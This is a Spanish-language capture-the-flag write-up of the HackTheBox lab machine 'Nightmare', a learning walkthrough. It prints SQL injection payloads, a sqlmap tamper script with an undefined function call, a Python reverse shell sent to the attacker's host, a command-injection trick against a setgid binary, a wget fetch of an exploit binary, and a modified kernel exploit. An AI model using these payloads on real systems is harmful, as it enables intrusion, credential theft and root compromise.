Power belongs to the people who take it

WriteUp – Nightmare (HackTheBox)

En este post haremos la máquina Nightmare de HackTheBox
Es una maquina Linux bastante complicada, para mí una de las más dificiles de HTB.

Primero nos enfrentaremos a un SQLi, después tendremos que modificar un exploit en c para obtener shell; una vez tenemos shell tendremos que enfrentarnos a un reversing y finalmente tendremos que modificar otro exploit en c.
Mi nick en HackTheBox es: manulqwerty
También quiero agradecer la ayuda a mi equipo de htb: L1k0rD3B3ll0t4
Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Write-Up

Enumeración

Como siempre, lo primero sera un escaneo de puertos con nmap:

nmap -sC -sV 10.10.10.66

Vamos a echarle un ojo a la web; buscaremos ficheros/directorios ocultos con gobuster:

gobuster -u http://10.10.10.66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 100 -l


Tras revisar los resultados vemos que tenemos un register.php y un login:

SQLi

Cómo vemos en el próximo gif, si incluimos la comilla típica, al logear nos devuelve “SQL ERROR”

Explotación

Para facilitar la inyección usaremos el Repeater de Burpsuite:

Como vemos en el SQLi Cheat-Sheet, lo primero será adivinar el número de campos con order by hasta que no dé error:

iron')order+by+3#
iron')order+by+2#
iron')union+select+all+1,@@version#
iron')union+select+all+1,database()#
iron')union+select+all+1,table_schema+from+information_schema.tables#
iron')union+select+all+1,table_name+from+information_schema.tables+where+table_schema='sysadmin'#
iron')union+select+all+1,column_name+from+information_schema.columns+where+table_name='users'#
iron')+union+select+1,(select+group_concat(username,0x3a,password)+from+sysadmin.users)#


Obtenemos las siguientes credenciales:

admin:nimda,
cisco:cisco123,
adminstrator:Pyuhs738?183*hjO!,
josh:tontochilegge,
system:manager,
root:HasdruBal78,
decoder:HackerNumberOne!,
ftpuser:@whereyougo?,
sys:change_on_install,
superuser:passw0rd,
user:odiolafeta

Otra forma de sacar esta SQLi es crearnos un tamper :

sqlmap -r register.req --dbms MySql --second-order "http://10.10.10.66/notes.php" --tamper TamperNightmare.py --batch -D sysadmin -T users --dump-all --no-cast
#By @3v4Si0N & @superfume (Team: L1k0rD3B3ll0t4)
import requests
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
import base64
import json
import urllib

def dependencies():
    pass

def crear_user(payload):
    session0 = requests.Session()
    paramsPost0 = {"pass":"sapo","user":"injectHere","register":"Register"}
    headers0 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/register.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}
    paramsPost0['user'] = payload
    response0 = session0.post("http://10.10.10.66/register.php", data=paramsPost0, headers=headers0, allow_redirects=False)
    return

def logout(payload):
    session1 = requests.Session()
    paramsGet1 = {"logout":""}
    headers1 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/notes.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
    cookies1 = {"PHPSESSID":"iirf7pil9bnpp95ghaedthjjs2"}
    cookies1 = new_cookie(payload)
    response1 = session1.get("http://10.10.10.66/index.php", params=paramsGet1, headers=headers1, cookies=cookies1, allow_redirects=False)
    return

def new_cookie(payload):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"sapo","user":"sapo"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}
    paramsPost['user'] = payload
    response = session.post("http://10.10.10.66/index.php", data=paramsPost, headers=headers, allow_redirects=False)
    return response.cookies.get_dict()

def tamper(payload, **kwargs):
    payload = str(payload)
    crear_user(payload)
    logout(payload)
    headers = kwargs.get("headers", {})
    cookie = pillar_cookie(payload)
    headers["Cookie"] = "PHPSESSID=" + str(cookie["PHPSESSID"])
    return payload    

Exploit SFTP

Con las credenciales ftpuser:@whereyougo? podemos entrar al sftp:

En el nmap leemos: SSH-2.0-OpenSSH 32bits (not so recent ver)
Buscamos por exploits de openssh sftp y encontramos: https://github.com/0x90/openssh-sftp-sploit/blob/master/sshsploit.c
El problema es que este exploit es para 64 bits, tenemos que hacer unos ajustes (cambiar los tipos de las variables p.ej long long a unsigned int):
https://github.com/ironHackersDev/htb-stuff/blob/master/sshsploit32bits.c
Comprobamos que funciona con un ping como comando:

./sshsploit 10.10.10.66 2222 ftpuser "ping 10.10.14.6"


Para obtener shell, elegimos la reversa de python (recordad escapara las comillas):

./sshsploit 10.10.10.66 2222 ftpuser "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.6\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

Post-Explotación

Revisamos la version del kernel:

uname -a


Parece que es vulnerable a https://www.exploit-db.com/exploits/43418/
Pero no podemos escribir ni ejecutar en ningún sitio. Sigamos enumerando:

Buscamos ficheros del grupo Decoder, encontramos un binario que parece ser un ls modificado:
Nos lo descargamos a través del sftp y lo abrimos con el IDA PRO:


Tal y como vemos en el pseudo-c que nos genera IDA PRO debemos pasarle como parámetro -b y debemos hacer que no se cumplan los if de las lineas 31 y 35 para ejecutar con system(s) el segundo parametro que le pasemos.

#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[]){

int i,v3,v4,v6=0;
char s[]="/bin/ls";

for (i=1;i<argc;i++){
	if (*argv[i] != '-' || *(argv[i]+1) != 'b'){
		v3 = strlen(s);
		v4 = v3 + strlen (argv[i]) +2;
		strcat (s,argv[i]);
		}
	else
		v6 = 1;
	}
printf("s : %s\n",s);
char* haystack=s+7;

if (s[7]){
	if (strstr(haystack,"$(") || strchr(haystack,'\n') && !v6)
		printf("exit(1)\n");
	while (*haystack){
		if (strchr("|`&><'\"\\[]{};", *haystack))
			printf("exit(0)\n");
		++haystack;
	}
}

system(s);
return 0;
}

Para que nos ejecute el segundo argumento que le pasamos debemos incluir un salto de línea, sino nos concatenará los comandos:

Aprovechándonos de la opción -p de bash (también le ponemos -i (interactive shell), aun que no es necesario), la ejecucion de /bin/sls con los correctos argumentos nos hará formar parte del grupo decoder:

/usr/bin/sls -b '
bash -ip'


Ahora somos parte del grupo decoder y podemos escribir y ejecutar ficheros en /home/decoder/test.
Sabemos que la versión es xenial 4.8.0-58-generic así que modificaremos y subiremos el exploit 43418.c :
https://github.com/ironHackersDev/htb-stuff/blob/master/43418forNightmare.c

//modificamos el struct y dejamos solo la versión que nos interesa
//[...]
struct kernel_info kernels[] = {
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
//[...]
//modificamos la función detect_versions() :
void detect_versions() {
	char codename[DISTRO_CODENAME_LENGTH];
	char version[KERNEL_VERSION_LENGTH];

	get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(&codename[0], kernels[i].distro) == 0 &&
		    strcmp(&version[0], kernels[i].version) == 0) {
			printf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}
	kernel = 0;
	return;
}
//[...]

Lo compilamos en nuestra máquina:

gcc 43418mod.c -o pwn
http-server -p 80

Y lo subimos con wget a /home/decoder/test :

cd /home/decoder/test
wget http://10.10.14.6/pwn
chmod +x pwn

Al ejecutarlo desde el grupo decoder no funciona, pero al probar desde ftuser conseguimos ser root:

¿Me ayudas a compatirlo?

1 comentario

  1. download

    Everything is very open with a precise clarification of the issues.
    It was truly informative. Your site is extremely helpful.
    Many thanks for sharing!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.

© 2024 ironHackers

Tema por Anders NorenArriba ↑